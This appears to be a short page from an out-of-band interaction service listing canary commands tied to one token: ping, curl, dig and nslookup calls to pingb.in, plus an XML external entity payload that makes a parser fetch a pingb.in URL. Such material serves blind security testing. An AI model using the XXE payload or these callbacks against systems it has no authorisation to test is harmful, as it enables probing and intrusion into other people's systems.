$ ping -c1 -p 00411116c1c9c90720922e492eb52d00 pingb.in
 

$ curl pingb.in/p/411116c1c9c90720922e492eb52d
 

$ dig 411116c1c9c90720922e492eb52d @pingb.in
 

$ dig 411116c1c9c90720922e492eb52d.ns.pingb.in
 

C:\> nslookup 411116c1c9c90720922e492eb52d pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/411116c1c9c90720922e492eb52d">]>
    <foo>&xxe;</foo>